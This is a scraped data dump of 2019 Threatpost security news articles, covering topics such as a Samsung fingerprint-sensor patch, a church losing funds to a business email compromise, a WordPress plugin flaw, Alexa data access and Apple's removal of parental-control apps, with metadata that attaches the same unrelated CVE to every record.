[report by Android Police](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/>), Samsung is now rolling out patches to customers, urging its customers support app (Samsung Members) to update their phones to the latest software version, which will fix the biometric authentication glitch.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cSamsung is releasing a software patch to fix fingerprint issues on Galaxy Note10, Note10+, S10, S10+, and S10 5G devices,\u201d Samsung said on a [note on Samsung Members](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/#ap-lightbox>). \u201cIf you have registered a fingerprint on one of these devices, you will receive a notification with instructions. This update is being sent out gradually, so you may not receive the notification immediately.\u201d\n\nSamsung Galaxy S10 and Note10 users, for their part, are urged to look out for an update notification on their devices called \u201cBiometrics Update.\u201d Once they click on \u201cUpdate,\u201d they will be instructed to delete all previously registered fingerprints from their phone with covers on the phone, and re-register them without a cover applied to the phone.\n\nThe issue first came to light after a woman alleged that a $3 smartphone screen protector allowed unauthorized users to dupe her Samsung Galaxy S10\u2019s fingerprint recognition sensor \u2013 giving access to her phone and banking apps. The U.K. woman, Lisa Neilson, told media reports earlier in October that only her fingerprint was registered on her new Galaxy S10. However, after buying a third-party screen protector off eBay, Neilson\u2019s husband was able to unlock her phone using his fingerprint \u2013 even though it wasn\u2019t registered on the device. Worse, the pair found that Neilson\u2019s husband could log into her phone and access various private apps using the fingerprint biometrics security feature.\n\n\u201cThis issue involved ultrasonic fingerprint sensors unlocking devices after recognizing 3-dimensional patterns appearing on certain silicone screen protecting cases as users\u2019 fingerprints,\u201d said Samsung in a [press release last week](<https://news.samsung.com/global/statement-on-fingerprint-recognition-issue>). \u201cTo prevent any further issues, we advise that Galaxy Note10/10+ and S10/S10+/S10 5G users who use such covers to remove the cover, delete all previous fingerprints and newly register their fingerprints.\u201d\n\nOn the heels of this report, several videos popped up of Galaxy S10 users trying the trick out successfully on their own phones (one such video is below).\n\n[NatWest](<https://twitter.com/NatWest_Help/status/1186676299743580161>) and [Royal Bank](<https://twitter.com/RBS_Help/status/1186553506251071493>) are among the banks that removed their apps from the Google Play store for customers with Samsung Galaxy S10 and Note 10 devices: \u201cThis is due to reports that there are security concerns regarding these devices,\u201d according to a Royal Bank tweet. \u201cWe hope to have our app available again shortly once the issue has been resolved.\u201d\n\n> Hi there Martyn. We've removed the app from the Play Store for customers with Samsung S10 devices. This is due to reports that there are security concerns regarding these devices. We hope to have our app available again shortly once the issue has been resolved. WL\n> \n> \u2014 Royal Bank (@RBS_Help) [October 22, 2019](<https://twitter.com/RBS_Help/status/1186553506251071493?ref_src=twsrc%5Etfw>)\n\nThe utilization of biometrics on smartphones has been helpful for identity authentication \u2013 but it\u2019s not foolproof.\n\nIn fact, also in October Google [came under fire for its Pixel 4](<https://arstechnica.com/gadgets/2019/10/google-says-a-fix-for-pixel-4-face-unlock-is-months-away/>) facial recognition unlock feature, which users said would unlock for users even if their eyes were closed. Google issued a media statement this weekend that the glitch will be fixed in a software update that will be delivered in the \u201ccoming months.\u201d\n\nOther privacy incidents have plagued smartphone vendors around biometric authentication. [In August](<https://threatpost.com/researchers-bypass-apple-faceid-using-biometrics-achilles-heel/147109/>), researchers revealed vulnerabilities in the authentication process of biometrics technology that could allow bad actors to bypass various facial recognition applications \u2013 including Apple\u2019s FaceID. In 2018, a design flaw affecting all in-display fingerprint sensors \u2013 that left over a half-dozen cellphone models vulnerable to a trivial lock-screen bypass attack \u2013 [was quietly patched](<https://threatpost.com/lock-screen-bypass-bug-quietly-patched-in-handsets/139141/>). The flaw was tied to a bug in the popular in-display fingerprint reader technology used for user authentication. New vulnerabilities in [voice authentication](<https://threatpost.com/black-hat-2018-voice-authentication-is-broken-researchers-say/134926/>) have been uncovered as well.\n", "cvss3": {}, "published": "2019-10-24T15:44:50", "type": "threatpost", "title": "Samsung Rolls Out Fix For Galaxy S10 Fingerprint Sensor Glitch", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-10-24T15:44:50", "id": "THREATPOST:99AD02BEC4B8423B8E050E0A4E9C4DEB", "href": "https://threatpost.com/samsung-fix-galaxy-s10-fingerprint-sensor/149510/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:16", "description": "Half of respondents in a recent Threatpost poll said that they don\u2019t believe consent realistically exists when it comes to real-life facial recognition.\n\nThe [recent poll](<https://threatpost.com/poll-creeped-out-facial-recognition/144084/>) of 170 readers comes as facial recognition applications [continue to pop up](<https://threatpost.com/facial-recognition-are-we-ready/144066/>) in the real world \u2013 from airports to police forces. While biometrics certainly has advantages \u2013 such as making identification more efficient \u2013 gaining consent from people whose biometrics are being taken remains a mystery to some, with 53 percent of respondents saying they don\u2019t believe that consent exists or is possible in real-life facial recognition applications .\n\nIn the poll, 32 percent more respondents said that consent will be the act of giving people notification that an area is using facial recognition; and only 10 percent said consent is the ability to opt out of facial recognition applications.\n\nThe issue of biometrics consent came to the forefront again in December when the Department of Homeland Security unveiled a facial-recognition pilot program for monitoring public areas surrounding the [White House](<https://threatpost.com/white-house-facial-recognition-pilot-raises-privacy-alarms/139649/>). When asked about consent, the department said that the public cannot opt-out of the pilot, except by avoiding the areas that will be filmed as part of the program.\n\n\u201cA very weak form of protection is if the government or a business [that uses biometrics for] surveillance, they notify people,\u201d Adam Schwartz, senior staff attorney with the Electronic Frontier Foundation\u2019s civil liberties team, told Threatpost. \u201cWe think this is not consent \u2013 real consent is where they don\u2019t aim a camera at you.\u201d\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/25163405/consent.png>)\n\nBeyond consent, more than half of poll respondents said that they have negative feelings toward facial recognition due to issues related to privacy and security \u2013 while 30 percent more said they have \u201cmixed\u201d feelings, understanding both the benefits and privacy concerns.\n\nWhen asked what concerns them the most about real-world facial applications, 55 percent of those surveyed pointed to privacy and surveillance issues, while 29 percent said the security of biometrics information and how the data is shared.\n\nDespite these concerns, biometrics continues to gain traction, with the EU last week [approving](<https://www.securityresearch-cou.eu/sites/default/files/02.Rinkens.Secure%20safe%20societies_EU%20interoperability_4-3_v1.0.pdf>) a massive biometrics database for both EU and non-EU citizens. The EU\u2019s approval of the database, called the \u201cCommon Identity Repository,\u201d will aim to connect the systems used by border control, migration and law-enforcement agencies.\n\nAs biometrics continue to increase, meanwhile, up to 85 percent of respondents said that they think that facial recognition should be regulated in the future.\n\nSuch laws exist or are being discussed as it relates to consent: An [Illinois law](<http://www.ilga.gov/legislation/ilcs/ilcs3.asp?ActID=3004&ChapterID=57>) for instance regulates collection of biometric information (including for facial recognition) without consent.\n\nHowever, that law only applies to businesses and not law enforcement. Meanwhile, a new bill introduced in the Senate in [March](<https://www.schatz.senate.gov/imo/media/doc/SIL19337.pdf>), the \u201cCommercial Facial Recognition Privacy Act,\u201d would bar businesses that are using facial recognition from harvesting and sharing user data without consent.\n\n\u201cThe time to regulate and restrict the use of facial recognition technology is now, before it becomes embedded in our everyday lives,\u201d said Jason Kelly, digital strategist with EFF, in a [recent post](<https://www.eff.org/deeplinks/2019/04/skip-surveillance-opting-out-face-recognition-airports>). \u201cGovernment agencies and airlines have ignored years of warnings from privacy groups and Senators that using face recognition technology on travelers would massively violate their privacy. Now, the passengers are in revolt as well, and they\u2019re demanding answers.\u201d\n", "cvss3": {}, "published": "2019-04-26T12:10:15", "type": "threatpost", "title": "Facial Recognition 'Consent\u2019 Doesn\u2019t Exist, Threatpost Poll Finds", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T12:10:15", "id": "THREATPOST:677D5A0A56D06021C8EF30D0361579C6", "href": "https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:57:09", "description": "A church in Brunswick, Ohio was scammed out of a whopping $1.75 million as a result of a business email compromise (BEC) attack.\n\nSt. Ambrose Catholic Parish, which has around 16,000 members, has been working on a massive $4 million church renovation, dubbed \u201cVision 20/20\u201d \u2013 but attackers figured out a way to hack into the church\u2019s email system, take control of two church employee accounts, and eventually divert payments related to the project to a fraudulent account owned by them.\n\nAccording to [local reports](<https://www.cleveland.com/crime/2019/04/email-hackers-steal-175-million-from-st-ambrose-catholic-parish-in-brunswick.html>), the church said in a letter to parishioners over the weekend that it was notified of the issue on April 17, after the construction company behind the renovations contacted the church saying it had missed payments on the project.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cOn Wednesday, Marous Brothers called inquiring as to why we had not paid our monthly payment on the project for the past two months, totaling approximately $1,750,000,\u201d according to an email sent by the church to parishioners. \u201cThis was shocking news to us, as we have been very prompt on our payments every month and have received all the appropriate confirmations from the bank that the wire transfers of money to Marous were executed/confirmed.\u201d\n\nAfter involving the Brunswick police and the FBI, the church discovered that their email system was hacked and that bad actors had taken control of two employee email accounts.\n\nUsing these two hacked accounts, the attackers were able to pretend they were the email accounts\u2019 real owners, and deceived other employees into believing Marous Brothers had changed their bank and wiring instructions. The $1.75 million in church payments for two months were then sent to a fraudulent bank account owned by the cybercriminals.\n\n\u201cThe money was then swept out by the perpetrators before anyone knew what had happened,\u201d according to the church. \u201cNeedless to say, this was very distressing information.\u201d\n\nThe church said it is currently working with the FBI and its insurance company to try to recover the stolen funds. Meanwhile, it said, no other data \u2013 such as databases with parishioner information or church financial information \u2013 has been compromised.\n\nBEC scams continue to plague companies as attackers become more advanced \u2013 particularly as infamous BEC groups like [London Blue](<https://threatpost.com/bec-scam-gang-london-blue-evolves-tactics-targets/143440/>), [Scarlet Widow](<https://threatpost.com/rsac-2019-bec-scammer-gang-takes-aim-at-boy-scouts-other-nonprofts/142302/>) and others continue honing their techniques.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30112714/FBI-IC3-11.png>)\n\n[According to](<https://threatpost.com/fbi-bec-scam-losses-double/144038/>) the FBI\u2019s annual Internet Crime Report (IC3) for 2018, BEC scams ultimately drained victims of over $1.2 billion last year. For contrast, in 2017, BEC attacks resulted in adjusted losses of $675 million.\n\nSt. Ambrose Catholic Parish isn\u2019t the first high-profile community case, either. The FBI in its report said it received a complaint from a town in New Jersey that fell victim of a BEC scam \u2014 and transferred over $1 million to a fraudulent account (the FBI was able to freeze the funds and return the money to the town). Individuals suffer too: In another case, a BEC victim received a email purporting to be from their closing agent during a real-estate transaction \u2014 resulting in the person initiating a wire transfer of $50,000 to a fraudster\u2019s bank account located in New York.\n\nRonnie Tokazowski, senior threat researcher at Agari, told Threatpost in a recent interview there are several steps that firms \u2013 and individuals \u2013 can take to protect against BEC scams.\n\n\u201cFor BEC protections, there are several things that organizations and individuals can do to not fall victim,\u201d he said. \u201cFirstly, implementing a DMARC [which stands for Domain-based Message Authentication, Reporting and Conformance and is an email authentication protocol] solution can help organizations look at the reputation of senders who may be spoofing their CEO\u2019s, asking for wire transfers or gift card. For individuals, being informed about the different types of scams that actors are using can be helpful as well.\u201d\n", "cvss3": {}, "published": "2019-04-30T16:21:59", "type": "threatpost", "title": "BEC Hack Cons Catholic Church Out of $1.75 Million", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T16:21:59", "id": "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", "href": "https://threatpost.com/bec-hack-cons-catholic-church/144212/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:08", "description": "UPDATE\n\nA vulnerability in a popular WordPress plugin called the WooCommerce Checkout Manager extension is potentially putting more than 60,000 websites at risk, researchers say.\n\nThe WooCommerce Checkout Manager plugin allows WooCommerce users to customize and manage the fields on their checkout pages. The plugin, owned by Visser Labs, is separate from the WooCommerce plugin, which is owned by Automattic.\n\nAs of Monday, an update for WooCommerce Checkout Manager is available (version 4.3) that patches the vulnerability. That can be downloaded [here](<https://wordpress.org/support/topic/upgrade-to-4-3/>).\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cEarlier this week, an arbitrary file upload vulnerability has been found in popular WordPress plugin WooCommerce Checkout Manager which extends the functionality of well known WooCommerce plugin,\u201d said Luka Sikic, with WebArx Security in a [Thursday post](<https://www.webarxsecurity.com/woocommerce-checkout-manager/>).\n\nVisser Labs has not responded to a request for comment from Threatpost. On Friday, the plugin has been removed from the WordPress plugin repository. \u201cThis plugin was closed on April 26, 2019 and is no longer available for download,\u201d according to a [notice](<https://wordpress.org/plugins/woocommerce-checkout-manager/>) on the site. However, that still leaves the 60,000 websites who have already downloaded and are utilizing the plugin open to attack, according to researchers.\n\nOn Tuesday, Plugin Vulnerabilities published a proof of concept outlining an attack on an arbitrary file upload vulnerability in WooCommerce Checkout Manager. The disclosed vulnerability exists because the plugin\u2019s \u201cCategorize Uploaded Files\u201d option does not check privileges or permissions before files are uploaded. As a result, bad actors could upload \u2013 and then execute \u2013 malicious files.\n\n\u201cSince there is no privilege or permission check before uploading a file, the exploitation of the vulnerability in WooCommerce Checkout Manager is simple and doesn\u2019t require an attacker to be registered on the site,\u201d Sikic said.\n\nThe number of vulnerable plugins being exploited in a massive campaign is racking up, with the WooCommerce Checkout Manager the latest plugin to be exploited.\n\nThe WooCommerce Checkout Manager is only the latest plugin to have a disclosed vulnerability, researchers say.\n\n\u201cWe continue to see an increase in the number of plugins attacked as part of a campaign that\u2019s been active for quite a long time,\u201d according to John Castro with Sucuri in a recent [post](<https://blog.sucuri.net/2019/04/plugins-added-to-malicious-campaign.html>). \u201cBad actors have added more vulnerable plugins to inject similar malicious scripts.\u201d\n\nOther plugins recently added to the attack include WP Inventory Manager and Woocommerce User Email Verification. That\u2019s on top of others, including Social Warfare, [Yellow Pencil Visual Theme Customizer](<https://threatpost.com/wordpress-yellow-pencil-plugin-exploited/143729/>), and [Yuzo Related Posts](<https://threatpost.com/wordpress-urges-users-to-uninstall-yuzo-plugin-after-flaw-exploited/143710/>).\n\nResearchers urged plugin users to disable the plugin completely or disable the \u201cCategorize Uploaded Files\u201d option on the plugin settings page.\n\n\u201cAttackers are trying to exploit vulnerable versions of these plugins,\u201d said Castro. \u201cPublic exploits already exist for all of the components listed above, and we highly encourage you to keep your software up to date to prevent any infection.\u201d\n\n_This article was updated on April 30 at 8 a.m. ET to reflect that the vulnerability has now been patched._\n", "cvss3": {}, "published": "2019-04-26T19:44:55", "type": "threatpost", "title": "Users Urged to Update WordPress Plugin After Flaw Disclosed", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T19:44:55", "id": "THREATPOST:33026719684C7CD1B70B04B1CFFE2AEB", "href": "https://threatpost.com/users-urged-to-disable-wordpress-plugin-after-unpatched-flaw-disclosed/144159/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:21", "description": "Employees at Amazon can access geolocation information for Alexa users, according to reports \u2013 thus uncovering their home addresses and even satellite pictures of their houses generated from a service such as Google Earth.\n\nAlexa is the built-in voice assistant shipped with devices like Amazon Echo, Amazon Dot, Fire TV and some third-party gadgets. Confidential employee sources speaking to Bloomberg said that the global team that manually audits Alexa\u2019s accuracy in understanding voice commands can \u201ceasily find\u201d a customer\u2019s home address, by combining the GPS coordinates that they have access to with public mapping services.\n\nThis division, known as the Alexa Data Services Team, is tasked with listening to random samplings of voice commands \u2013 and then matching up Alexa\u2019s response to them to see if the voice-recognition technology is working the way that it should. In theory this is anonymized, but location information in the form of GPS coordinates is captured in order to provide localized search results. For instance, if a user asks for the weather forecast, or a review for a restaurant, the geolocation data is necessary to carry out the requests.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nFive Amazon employees [confirmed to Bloomberg](<https://www.bloomberg.com/news/articles/2019-04-24/amazon-s-alexa-reviewers-can-access-customers-home-addresses>) that the division has access to the location data, and two members of the Alexa team said that they felt they have been given \u201cunnecessarily broad access\u201d to personal information.\n\nThey also shared a demo, demonstrating that by plugging in longitude and latitude of a device to Bing Maps or Google Maps, it\u2019s possible to bring up an address and even an image of the Alexa-owner\u2019s house.\n\n\u201cOften an individual piece of data might be innocuous, but the connected-ness of the world today means that no data can be viewed in a vacuum,\u201d Tim Erlin, vice president of product management and strategy at Tripwire, told Threatpost. \u201cGPS coordinates aren\u2019t personally identifiable on their own, but when coupled with a freely accessible system that translates them into an image of that location, they certainly are.\u201d\n\nFor its part, Amazon downplayed the issue.\n\n\u201cAccess to internal tools is highly controlled, and is only granted to a limited number of employees who require these tools to train and improve the service by processing an extremely small sample of interactions,\u201d Amazon said in a statement to media. \u201cOur policies strictly prohibit employee access to or use of customer data for any other reason, and we have a zero-tolerance policy for abuse of our systems. We regularly audit employee access to internal tools and limit access whenever and wherever possible.\u201d\n\nIt\u2019s unclear how many employees have access to the information, but the sources said that the Data Services Team numbers in the \u201cthousands of employees and contractors,\u201d located in Boston, India and Romania.\n\nThe employees also said that there is a second internal Amazon Alexa team for \u201cannotators and verifiers,\u201d who are privy to the information that customers input into the Alexa app when setting up a device. That includes home and work addresses, phone numbers, and any entered contact names, numbers and email addresses. This smaller team is responsible for making sure that Alexa correctly identifies contacts when someone asks her to \u201ccall my mom,\u201d for example.\n\nAll of that said, Amazon appears to have restricted some data access in the wake of a previous Bloomberg report revealing the existence of the Alexa Data Services Team, the outlet said.\n\nNot everyone is concerned about the news.\n\n\u201cThis is overblown. There is no reason to doubt that Amazon is sincere in its claim that only a select few employees have access to consumers\u2019 information and use it in order to perform their job,\u201d said Mike Bittner, manager for Digital Security and Operations at The Media Trust, via email.\n\n\u201cFeatures referenced in the article (suggested restaurants, etc.) require geolocation tracking, suggested products and targeted advertising require purchase and browser/cookie tracking, daily reminders require calendar tracking. All of these features are products of the continued trailing, recording and analysis of user behavior and undoubtedly make the smart home a more convenient tool,\u201d wrote Bittner.\n\nThus, the situation once again brings up the thorny issue of balancing consumer benefit with potential privacy abuse. It makes sense for Amazon to audit how well Alexa is performing \u2013 but is a flawless Alexa experience worth the data exposure for consumers?\n\n\u201cAmazon employees listening to private conversations recorded by Alexa speaks to the very fears that many of us have about smart-home devices,\u201d Harold Li, vice president at ExpressVPN, told Threatpost in an interview. \u201cThese revelations will no doubt make consumers think twice before buying, as our research has shown that privacy concerns and brand trust are crucial in the smart home space.\u201d\n\nHe added, \u201cIt\u2019s more than reasonable for consumers to expect that companies like Amazon do not invade the sanctity of private conversations in their own homes, and we should demand that companies respect that.\u201d\n", "cvss3": {}, "published": "2019-04-25T15:55:18", "type": "threatpost", "title": "Amazon Employees Given 'Broad Access' to Personal Alexa Info", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-25T15:55:18", "id": "THREATPOST:7BCCC5B4AA7FB7724466FFAB585EC55D", "href": "https://threatpost.com/amazon-employees-personal-alexa/144119/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:41", "description": "A Department of Homeland Security (DHS) order now requires agencies to remediate critical vulnerabilities discovered on their systems in 15 days \u2013 cutting in half the previous deadline of 30 days.\n\nThat\u2019s according to a Tuesday binding directive, which is a compulsory order for federal, executive branch, departments and agencies \u201cfor purposes of safeguarding federal information and information systems.\u201d\n\nThe initiative, released by the DHS Cybersecurity and Infrastructure Security Agency (CISA) unit, now requires federal agencies to remediate critical security vulnerabilities within 15 days from the initial detection. Vulnerabilities that are merely \u201chigh\u201d in severity, meanwhile, must be remediated within 30 days after detection.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAs federal agencies continue to expand their internet presence through increased deployment of Internet-accessible systems, and operate interconnected and complex systems, it is more critical than ever for federal agencies to rapidly remediate vulnerabilities that otherwise could allow malicious actors to compromise federal networks through exploitable, externally-facing systems,\u201d according to the [directive](<https://cyber.dhs.gov/bod/19-02/#when-do-the-15-and-30-day-clocks-start-for-remediation>).\n\nThe directive supersedes a previous 2015 DHS order, which ordered departments and agencies to mitigate critical vulnerabilities on their internet-facing systems within 30 days \u201cof issuance of their weekly \u2018Cyber Hygiene report.'\u201d\n\nJeanette Manfra, assistant director for Cybersecurity for CISA, [said](<https://www.dhs.gov/cisa/blog/2019/04/29/cisa-releases-binding-operational-directive-new-requirements-remediating>) that the average time between discovery and exploitation of a vulnerability is decreasing, and adversaries are growing more skilled and persistent.\n\n\u201cCISA released [the directive] to continue to take deliberate steps to reduce the overall attack surface and minimize the risk of unauthorized access to federal information systems,\u201d she said. \u201c[The directive] introduces a shorter mitigation time frame for critical vulnerabilities and a new mitigation time frame for high vulnerabilities, to further reduce the attack surface and risk to federal agency information systems.\u201d\n\nThe directive comes as the government pushes for further security measures across various agencies.\n\nThe DHS [in January](<https://threatpost.com/gov-warning-dns-hijacking/141088/>) ordered all federal agencies to urgently audit Domain Name System (DNS) security for their domains in the next 10 business days, warning that multiple government domains have been targeted by DNS hijacking attacks, allowing attackers to redirect and intercept web and mail traffic.\n\nThe directive also comes as the federal government [in March](<https://threatpost.com/federal-cyber-budget-iot-legislation/142744/>) stepped up its game with proposals of budget line items that would requisition nearly $11 billion for cyber initiatives, and the introduction of an Internet of Things (IoT) Cybersecurity Improvement Act of 2019 (which would require that devices purchased by the government to meet certain minimum security requirements).\n\nWhile security experts praised the initiative, they argued that the directive could go even further in trying to quickly stamp out vulnerabilities across governmental organizations.\n\n\u201cI would argue that the directive does not go far enough to call out critical vulnerabilities for which proofs of concept may already be published or for which developing an exploit is trivial,\u201d said Mounir Hahad, head of Juniper Networks\u2019 Juniper Threat Labs. \u201cThose indeed have a higher chance of being exploited by threat actors in record time. In my view, 15 days for remediation is too slow in those circumstances.\u201d\n", "cvss3": {}, "published": "2019-05-01T19:57:27", "type": "threatpost", "title": "DHS Shortens Deadline For Gov Agencies to Fix Critical Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-05-01T19:57:27", "id": "THREATPOST:06C5D9E6950186757AA989F2557336B3", "href": "https://threatpost.com/dhs-deadline-gov-agencies-fix-critical/144269/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T12:00:27", "description": "Apple is defending its decision to take down several highly popular parental control apps amidst a firestorm of backlash, saying it did so for \u201cprivacy and security\u201d reasons.\n\nApple came under scrutiny this weekend after a New York Times article alleged that the phone giant had unfairly removed or restricted at least 11 top screen-time and parental-control apps from its marketplace \u2013 after creating its own screen-time app. Among those that have been removed are OurPact, which has 3 million downloads, and Mobicip, which has 2.5 million downloads.\n\nWhile it looks like a competitive move, Apple tells a different story: Its aim was to weed out apps that were using mobile device management (MDM) technology it said, which gives third-party control and access over other devices and sensitive information, including location, app use and more. Parental-control apps, which allow parents to keep tabs (and set limits) on their children\u2019s on-phone activities, locations and more, are thus effectively collecting way too much data, Apple said.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cWe recently removed several parental-control apps from the App Store, and we did it for a simple reason: They put users\u2019 privacy and security at risk. It\u2019s important to understand why and how this happened,\u201d the company said in a [Sunday statement](<https://www.apple.com/newsroom/2019/04/the-facts-about-parental-control-apps/>), entitled \u201cThe Facts About Parental Control Apps.\u201d\n\nRegardless of the reason, the incident has raised questions about how competition is handled between apps and the sometimes-competing platforms that they are sold on. Impacted app developers, for their part, continue to be up-in-arms regarding the incident \u2013 with two popular parental control apps, Kidslox and Qustodio, last week filing an anti-competition complaint with the European Commission\u2019s competition office.\n\n## Angry App Devs\n\nThe Saturday[ report](<https://www.nytimes.com/2019/04/27/technology/apple-screen-time-trackers.html>) by the New York Times_, _working with app data firm Sensor Tower, shows that Apple has removed or restricted 11 of the 17 most downloaded parental-control apps, as well as restricting lesser-known apps. That includes forcing apps to remove features that enable parents to control children\u2019s devices, or restrict access to adult content.\n\nThe move comes after Apple launched its own screen control app, Screen Time, a feature built into iOS 12 that enables users to set screen time and limits on their own phones.\n\nThe complaint from Kidslox and Qustodio that was filed with the European Commission\u2019s competition office was filed in tandem with the report, saying that the removal and restriction of parental-control apps was an anti-competitive practice by nature.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144205/screen-time-1-.png>)\n\nParental Control Apps\n\nKidslox alleges that Apple has required it to make changes to its app that ultimately harmed it competitive factor.\n\n\u201cTo create Screen Time, Apple took the best pieces and best practices from existing parental-control and well-being apps in the App Store, bringing no tangible innovations to market,\u201d Kidslox CEO Viktor Yevpak said in a statement provided to Threatpost. \u201cStanding up to Apple is about even more than fair competition.\u201d\n\nMeanwhile Qustodio, in a statement showed to Threatpost regarding the EU complaint, said that Apple has arbitrarily blocked several parental-control apps in the market from making app updates, while completely removing others.\n\n\u201cWith the introduction of Apple\u2019s Screen Time, developers in the parental control category experienced unprecedented anti-competitive behavior from Apple,\u201d Qustodio CEO Eduardo Cruz said in the statement. \u201cThe company acts as both a marketplace and a gatekeeper and uses its dominant position to create exclusive competitive advantage for its own service.\u201d\n\nOther screen-time apps began complaining about being removed from the Apple Store all the way back in the fall of 2018, including Mute, a screen-time tracking app.\n\nNick Kuh, creator of Mute, [complained](<https://medium.com/@nick.kuh/mute-app-startup-to-shutdown-a1db01440c56>) in October 2018 that Apple had removed his app from the App Store (Apple later returned his app after his post gained media attention).\n\n\u201cIt appears that Apple are now shutting down many (all?) screen-time tracking apps now that they\u2019ve added screen-time tracking into iOS 12,\u201d he said in his post. \u201cIt turns out that Apple have sent a similar email to many other app developers of screen-time tracking and parental-control apps. I believe that Mute is one of the first to go, but expect others to disappear from the App Store in the coming weeks as their notice period expires.\u201d\n\n## Apple Hits Back** **\n\nIn response to reports of developer outrage, Apple said in a statement: \u201cApple has always supported third-party apps on the App Store that help parents manage their kids\u2019 devices. Contrary to what the _New York Times_ reported over the weekend, this isn\u2019t a matter of competition. It\u2019s a matter of security.\u201d\n\nApple said several of the apps removed use the MDM format, which is typically used by enterprises to give companies control over their employees\u2019 devices. However, when non-enterprise developers use the feature on their apps, the technology can have dangerous privacy and security implications, Apple said.\n\nThese MDM functions give apps a \u201cconfiguration profile\u201d which is generally used for enterprises \u2013 and allow users to configure or track certain settings \u2013 including app settings, Wi-Fi and permissions. In other words, app developers behind the apps gain access to all data \u2013 such as location, activity and more \u2013 of the children whose phones are being controlled.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29144327/screen-time-2.png>)\n\nApple Screen Time\n\nApple did not respond to multiple requests for comment from Threatpost.\n\nThe company in its statement said that it began noticing that non-enterprise developers were using MDM back in early 2017, and updated their guidelines based on that work in mid-2017.\n\n\u201cWhen we found out about these guideline violations, we communicated these violations to the app developers, giving them 30 days to submit an updated app to avoid availability interruption in the App Store,\u201d Apple said. \u201cSeveral developers released updates to bring their apps in line with these policies. Those that didn\u2019t were removed from the App Store.\u201d\n\nHowever, app developers argue that MDM is not used maliciously and that parents setting up the apps are given fair notice about the MDM features when downloading the app.\n\nSuren Ramasubbu, CEO of one of the parental control apps impacted by Apple\u2019s crackdown, Mobicip, said that when parental control apps using MDM is installed, it is the parent that goes through the process of setting up \u2013 and they are explicitly asked to agree to the terms and conditions and privacy policy before installing the MDM profile and certificate.\n\n\u201cPlease note that the parent has explicitly agreed to enroll the device in a third-party MDM system,\u201d he said in a [post](<https://medium.com/@suren_60419/apples-case-for-removing-screentime-apps-seven-questions-for-phil-schiller-33cf78b01713>) over the weekend. \u201cDo these parents understand the risks? May be. May be not. But should it be the parent who decides the risk vs. reward? Given that Apple Screen Time requires both parents and children to be on Apple devices, and given that most families today have a blend of devices with the parents on Android, isn\u2019t it anti-competitive to not give parents this choice?\u201d\n\nApps like Kidslox and Qustodio continue to maintain that Apple\u2019s practices are unfair \u2013 and ultimately hurting both app developers and consumers.\n\n\u201cQustodio and Kidslox are asking Apple to stop this unprecedented hostile behavior, compete fairly, and open up exclusive API\u2019s and technologies introduced in their own Screen Time service,\u201d according to Qustodio.\n\nIt\u2019s not the first time Apple has come under fire for anti-competition app store practices \u2013 in March, [Spotify filed a complaint](<https://newsroom.spotify.com/2019-03-13/consumers-and-innovators-win-on-a-level-playing-field/>) against the iPhone maker saying that newly-introduced App Store rules \u2013 such as a 30 percent tax imposed on purchases made via Apple\u2019s payment system \u2013 stifle competing music services that are being sold on its platform.\n", "cvss3": {}, "published": "2019-04-29T19:26:31", "type": "threatpost", "title": "Apple Defends Parental Control App Removal Amid Backlash", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T19:26:31", "id": "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "href": "https://threatpost.com/apple-parental-control-app-removal/144181/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:57", "description": "You get what you pay for when you pirate content. That\u2019s the takeaway from the latest report by Digital Citizens Alliance.\n\nIt found that pirating hardware, which enables free streaming copyright-protected content, comes packed with malicious malware. The devices give criminals easy access to router settings, can plant malware on shared network devices and are often leveraged to steal user credentials.\n\nAccording to the [Digital Citizens Alliance report](<https://www.digitalcitizensalliance.org/clientuploads/directory/Reports/DCA_Fishing_in_the_Piracy_Stream_v6.pdf>) (PDF), 13 percent of 2,073 Americans surveyed use a hardware device for pirating content. One such popular device is called a \u201cKodi box,\u201d which is sold for between $70 to $100 on grey markets. Kodi is an open-source media player designed for televisions and developed by the XBMC Foundation. The software is widely known for its support of a bevy of copyright-infringing apps that offer free access to premium content from Netfix, Amazon Prime, 